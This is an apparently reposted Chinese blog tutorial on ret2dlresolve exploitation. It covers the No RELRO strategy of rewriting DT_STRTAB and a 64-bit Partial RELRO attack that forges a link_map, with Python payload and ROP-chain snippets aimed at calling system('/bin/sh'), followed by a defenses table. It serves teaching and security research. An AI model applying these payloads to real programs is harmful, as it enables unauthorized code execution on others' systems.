news 2026/6/5 6:39:43

当栈溢出遇上No RELRO:一个ret2dlresolve利用的‘捷径’与64位下的‘坑’

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
当栈溢出遇上No RELRO:一个ret2dlresolve利用的‘捷径’与64位下的‘坑’

深入解析ret2dlresolve攻击:从No RELRO到64位环境下的高级利用技巧

在二进制安全研究领域,ret2dlresolve攻击是一种无需泄露内存地址就能绕过ASLR保护的经典技术。本文将深入探讨这种攻击在不同编译选项下的实现差异,特别是No RELRO与Partial RELRO环境下的关键区别,以及32位与64位架构下的特殊考量。

1. ret2dlresolve攻击的核心原理

动态链接程序在首次调用外部函数时,会通过以下流程完成符号解析:

  1. 程序跳转到PLT表项
  2. PLT表项跳转到GOT表中存储的地址(初始时指向PLT中的下一条指令)
  3. 将reloc_arg(重定位偏移)压栈
  4. 跳转到PLT[0],执行_dl_runtime_resolve(link_map, reloc_arg)

关键数据结构

  • .rel.plt:包含Elf32_Rel结构体数组,每个元素描述一个需要重定位的函数
  • .dynsym:包含Elf32_Sym结构体数组,存储符号信息
  • .dynstr:存储函数名字符串

攻击者通过伪造这些数据结构,可以控制_dl_fixup函数的解析过程,最终实现任意函数调用。

2. No RELRO环境下的简化利用

当程序编译时使用-z norelro选项时,.dynamic节区是可写的,这为攻击者提供了极大的便利:

// .dynamic节区结构示例 Elf32_Dyn dynamic_section[] = { {DT_STRTAB, 0x08048278}, // 字符串表地址 {DT_SYMTAB, 0x080481d8}, // 符号表地址 // 其他动态节区条目... };

No RELRO下的攻击步骤

  1. 修改.dynamic节区中的DT_STRTAB指针,使其指向攻击者控制的缓冲区
  2. 在可控区域构造伪造的字符串表,将目标函数名(如"write")替换为"system"
  3. 直接调用目标函数,触发解析过程
# No RELRO利用示例代码片段 fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00system\x00' payload = [ read_plt, # 调用read修改.dynamic pop_ret, # 返回地址 0, # 文件描述符 strtab_addr, # .dynamic中DT_STRTAB的地址 7, # 写入长度 fake_dynstr, # 伪造的字符串表内容 plt0, # 触发解析 reloc_arg, # 重定位参数 cmd_addr # system参数 ]

这种方法的优势在于只需一次内存写操作即可完成攻击,不需要复杂的栈迁移或多阶段ROP链。

3. 32位与64位架构的关键差异

3.1 数据结构差异

32位ELF重定位项

typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;

64位ELF重定位项

typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;

64位架构下增加了r_addend字段,且符号索引的计算方式变为r_info >> 32

3.2 Partial RELRO下的特殊挑战

在64位Partial RELRO环境下,直接移植32位方法会遇到两个关键问题:

  1. st_other检查_dl_fixup会验证符号的st_other字段
  2. 版本号验证:会访问vernum[ELFW(R_SYM)(reloc->r_info)],可能导致非法内存访问

绕过方案

  • 伪造link_map结构,控制l_addr和符号的st_value
  • 确保st_other不为0,跳过版本检查
def forge_linkmap(fake_addr, known_got, offset): # 构造伪造的link_map结构 payload = p64(offset & (2**64-1)) # l_addr payload += p64(0) # l_name payload += p64(fake_addr + 0x18) # DT_JMPREL payload += p64((fake_addr+0x30-offset) & (2**64-1)) # r_offset payload += p64(0x7) # r_info payload += p64(0) # r_addend payload += p64(0) # l_ns payload += p64(0) # payload += p64(known_got - 8) # DT_SYMTAB payload += b'/bin/sh\x00' # 命令字符串 payload = payload.ljust(0x68, b'A') payload += p64(fake_addr) # DT_STRTAB payload += p64(fake_addr + 0x38) # DT_SYMTAB payload = payload.ljust(0xf8, b'A') payload += p64(fake_addr + 8) # DT_JMPREL return payload

4. 高级利用技巧:伪造link_map结构

在64位Partial RELRO环境下,完整的攻击流程如下:

  1. 准备阶段

    • 计算目标函数与已知函数的偏移(如systemwrite
    • 找到可写的内存区域(如.bss段)
  2. 构造伪造结构

    • 伪造link_map结构,控制关键的l_info条目
    • 设置l_addr为函数偏移量
    • DT_SYMTAB指向已知函数的GOT表地址-8
  3. 执行攻击

    • 将伪造的结构写入内存
    • 调用_dl_runtime_resolve,传入伪造的link_map和reloc_arg
# 64位Partial RELRO完整利用示例 l_addr = libc.sym['system'] - libc.sym['write'] fake_linkmap = forge_linkmap(bss_stage, write_got, l_addr) rop_chain = [ pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt, # 写入伪造的link_map pop_rdi, bss_stage + 0x48, # /bin/sh地址 plt_load, # 触发解析 bss_stage, # 伪造的link_map 0 # reloc_arg ]

5. 防御措施与绕过思路

现代系统针对ret2dlresolve攻击采取了多种防护措施:

防护措施影响可能的绕过方式
FULL RELRO禁用延迟绑定需寻找其他漏洞
栈保护(Canary)阻止栈溢出结合信息泄露或堆漏洞
ASLR增加预测难度结合信息泄露
现代glibc检查增加伪造难度更精确的结构伪造

在实际漏洞利用中,研究人员还发展出了以下高级技巧:

  • 结合堆漏洞实现内存写操作
  • 使用ROP链实现多阶段攻击
  • 利用其他漏洞泄露关键地址信息

理解ret2dlresolve攻击的底层原理,不仅有助于漏洞利用开发,也能帮助安全人员设计更有效的防护方案。这种攻击技术展现了ELF动态链接机制的灵活性,同时也提醒我们安全边界的重要性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/5 6:34:56

基于Arduino与光敏电阻的双轴太阳能追踪器DIY指南

1. 项目概述:为什么我们需要一个太阳能追踪器?如果你对太阳能发电稍有了解,或者自己动手玩过一些太阳能小装置,可能会发现一个普遍的问题:固定角度的太阳能板,一天中只有很短的时间能正对太阳,大…

作者头像 李华
网站建设 2026/6/5 6:28:37

PLM平台是什么?PLM平台需具备功能有哪些?

在当今制造业的竞争激烈环境下,成功的企业必须能够高效地管理产品生命周期的各个阶段。而这正是PLM(Product Lifecycle Management,产品生命周期管理)平台的使命所在。PLM平台不仅仅是一种工具,更是引领企业创新、实现…

作者头像 李华